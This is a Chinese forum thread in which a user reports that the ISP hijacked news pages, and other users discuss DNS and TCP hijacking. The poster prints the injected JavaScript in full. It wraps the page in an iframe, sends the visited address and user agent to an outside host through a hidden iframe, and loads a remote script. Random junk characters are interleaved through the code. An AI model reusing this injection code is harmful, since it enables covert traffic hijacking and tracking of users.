上网奇遇记

hudba

  ?: l5 d4 A5 q7 s
& D) y, e; p* h5 T- u上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
- G8 L3 i5 C3 k- s
接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

% M5 r& u  g: U* C$ W0 z+ y4 W) p
" E4 O2 Q& z% [) V  t# a6 i顺便查下ip138：

- F4 o+ p( [9 m( g( @这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   4 U$ L+ {1 c  I7 ^0 M9 e$ d; S
2.         var s = getMainJs();
   
3.         if (s == null) {
   / B" ~6 L$ L  X; w9 g
4.                 location.reload();
   5 C. m3 Y% I- F6 X) e; ?1 X' q
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   # z7 C6 D( R" M3 s6 o- R# d
8. 
   
9. function getParameter(name, paraStr) {
   
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    ; k9 N9 A* b; k. {& q- m
12.         var paraName = "&" + name + "=";
    9 ]. \+ _2 `$ Q* D
13.         if (str.indexOf(paraName) != -1) {
    , ]1 l. }$ n. m& l8 p3 ~. y
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    
18.                                         - TmpStr.indexOf(paraName) + 1);
    
19.                 } else {
    4 s3 P% r. q9 h/ F* V
20.                         result = str.substring(str.indexOf(paraName), str.length);
    
21.                 }
    2 Q8 v+ i4 B: a# ^, m! r4 h# k
22. 
    
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    % }' z$ e$ n% Q% w; L/ B+ Q6 a" L
24.         } else {
    
25.                 result = "No such parameter";
    7 D5 Z, g6 C0 S5 d" ?& E
26.         }
    * J0 I" V  j, E9 l7 C- s
27.         return (result.replace("&", ""));
    
28. }
    
29. 
    
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    
33.         for (var i = 0; i < scripts.length; i++) {
    ) f4 F& i2 C: v" ^
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    8 w# Z8 U) H3 J( |
35.                         s = scripts[i];
    
36.                         break;
    ( o" d- b7 ?. U
37.                 }
    9 @# x  @- a0 T7 U" ^6 w6 t. m
38.         }
    , L7 _+ D8 I' @. R% U1 o: Q3 N7 s8 a
39.         return s;
    
40. }
    
41. 
    
42. function appendParam(oStr, aStr) {
    
43.         if (oStr.indexOf('?') > 0) {
    
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    # `; q- C7 L+ W) ]/ H7 M
47.         }
    0 ]0 M( g1 s0 q' W/ g- X
48.         return oStr;
    ; H0 C( d9 F& J) k0 x
49. }
    
50. 
    - f- {7 K1 f  f+ J5 ~5 i. y2 O" U
51. window.onerror = function() {
    % @4 T5 Y) D$ z! B- I3 O/ Y; M9 V4 K
52. };
    
53. 
    
54. var g_titleTime = 0;
    
55. function setTcTitle() {
    
56.         if (undefined == document) {
    ( x% o1 z  c6 H% d: j& b
57.                 g_titleTime++;
    . P7 ^7 b6 H% r$ f6 q4 u2 u# U
58.                 setTimeout("setTcTitle();", 1000);
    2 ~& t4 J  H& n; t0 [( W0 V
59.                 return;
    
60.         }
    
61. 
    7 [- f( e8 i. R* H+ V
62.         var doc;
    ; B! _! n: p! n+ r+ {6 N/ F
63.         try {
    
64.                 if (document.all) {
    9 j' |+ Y9 @7 z+ c  H6 E
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    2 q7 J' O: n) m! z2 Y, D0 N
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    
69.         } catch (ex) {
    5 E( E- o7 m. {6 N. C
70.         }
    
71. 
    
72.         if (g_titleTime < 5
    
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    : A" F( ]5 Z% D+ z
74.                 g_titleTime++;
    ! }( _- T+ E9 ?# {; N
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
      D+ d9 Q# Y! ?
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    
80.         }
    
81. }
    
82. 
    9 Q  X3 p! |; Z  p
83. setTimeout("setTcTitle();", 1000);
    * x& i! p4 [/ S! ?2 `/ R
84. 
    
85. var g_isHaveVisible = false;
    
86. function setTcAdvVisible() {
    ' }: ^$ Q' f* b3 W
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    7 J* l8 C1 O# Q# Z* a5 x* e9 v
89.                 document.getElementById("addiv").style.visibility = 'visible';
    & s" }: i' Y3 L# z3 g( a8 Y9 V
90.                 document.getElementById("addiv").style.display = 'block';
    
91.                 g_isHaveVisible = true;
    
92.         }
    
93. }
    
94. 
    
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    9 Y1 h6 c) K9 H) W5 H/ p0 T) N
97.         this.tctype = "";
      B. I: U, d9 c4 q1 N
98.         this.radius = "";
    
99.         this.rlu = "";
    / H! h: w/ E1 R. X' ~7 [- W
100. }
     5 W! w! r  L' a% x' F  M
101. 
     
102. UrlAnalyzer.prototype.initParameters = function() {
     4 B. X# f- N3 b2 ^
103.         var paraStr = locationSearch();
     
104.         this.rlu = getParameter("lruedct", paraStr);
     0 j8 \( }, E( k
105.         this.divda = getParameter("divda", paraStr);
     - L4 @% x6 R' U) e0 @
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     * e! e, E" F* Y# w7 B9 d5 P
108.         this.address = getParameter("address", paraStr);
     / t4 }1 M. ]" v# ~. F6 j5 e
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     
111. 
     : t3 v' r- G7 W9 U% E
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     % e9 ^* H" [& y& @
113.         var doc;
     7 K- T6 `* D+ |% O! R- _/ t
114.         try {
     2 C: t* P: M! E9 ]4 |* l4 m( j% P
115.                 if (document.all) {
     4 y% X3 r! g& ]
116.                         doc = document.frames["cn"].document;
     / R; e1 C2 L$ A4 \
117. 
     
118.                 } else {
     9 _9 K  a3 W9 M2 ]- v# t2 ~# W/ p! F) Q
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     
122.         } catch (ex) {
     / G% L. ^- b% t" U
123.         }
     
124.         return doc;
     
125. }
     
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     4 |5 g4 B5 [; _0 U
128.         if (undefined != document.title && "" == document.title)
     
129.         {
     5 A+ v& B. G/ z$ c6 I
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     6 \. S  ^) S2 h2 H( u$ ~
132.                         document.domain = document.domain.substring(index + 1,
     ' j% D/ |1 O  E) `
133.                                         document.domain.length);
     
134.                 }
     
135.                
     . x- J4 s5 E8 Q; g' d7 w. R# v
136.                 var doc = this.getHtmlDoc();
     % l7 q. b9 z/ {) ~5 B( {4 M  E% j
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
     5 [# D8 F% a' S4 f' r2 b- ^0 c) L
139.                         setTcAdvVisible();
     
140.                 }
     ) K4 D, M( L- [* h( h: |' a
141.         }
     
142. }
     
143. 
     
144. UrlAnalyzer.prototype.iframeCallback = function() {
       n( ^. b: _7 V4 _3 g" @
145.         var doc = this.getHtmlDoc();
     $ t  f- @* o: X+ a& Z- \8 F# u
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     $ h4 M1 F* v% i7 y. z2 l) k
147.                 if (undefined != document.domain) {
     
148. 
     
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     
151.                         // var index = document.domain.indexOf(".");
     
152.                         // if (undefined != index && -1 != index) {
     6 C: e- L7 ^7 n* x! }- W3 N/ Q( X
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     ' p" [& j. u  A* @; h
155.                         // }
     2 y; o& ^" e( H/ k5 E
156.                         //
     5 X6 [$ P9 @4 ?7 p; F" B
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     ; C/ N! E' F9 i
160.                         // document.title = doc.title;
     1 y  m' ~/ M1 J  W
161.                         // setTcAdvVisible();
     
162.                         // }
     
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     & z6 K. i8 ?0 u' Q* {" S& v' [
167.         }
     
168. }
     
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     / K4 R# a* I' {
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     - c4 a3 s3 j9 i
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     ( @1 s3 f! i/ k. F
173. 
     
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     7 Q% z/ ~* }2 ^; E
176. 
     6 w+ y* r# ~9 k  K$ P: S
177.         var advUrl = htmlStr
     ' a, M  `) b4 v, Y7 m8 y
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     2 N# [, T2 c, t9 v% p
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     
180.         document.write(advUrl);
     
181. 
     
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     # w5 u% m0 u4 _; W0 e- n
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     % J( E6 s$ W3 ?3 w' x
186.                         self.iframeCallback.call(self, null);
     
187.                 });
     
188.         } else {
     + o2 Q0 Q9 F4 W" U. e) d  O
189.                 iframe.onload = function() {
     7 k- F6 `. x! `; a9 A1 m
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     
192.         }
     
193. }
     5 v4 Q8 `# |* A/ i) `
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     
196.         var mainFrame = document.getElementById("cn");
     ) r0 H. [  y+ N
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     
200. }
     0 F; f' j. F+ \
201. 
     * `( n( U$ J* }" C1 C/ q8 z# T
202. var g_analyzer = new UrlAnalyzer();
     6 J, V8 m( r, P/ O- e+ N7 x+ V5 g
203. g_analyzer.executeMain();
     " r/ T4 ^9 }; j2 Z

复制代码

7 d1 p, |* ~! d5 ]7 [: y$ l3 n
5 b- Z% a6 K( I+ g& M; P9 L

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
( N. |3 w: S! j1 U/ H* N所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

  f2 N  y; H9 ~. b5 K- A( a0 iTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
/ B5 O( u1 A9 I4 x2 V2 C# d% fTCP劫持，换DNS也不管用的。

& O7 b6 S" L) E3 ~( o, c8 x幸好联通还木有这么强的技术

哈默

在国内，习惯就好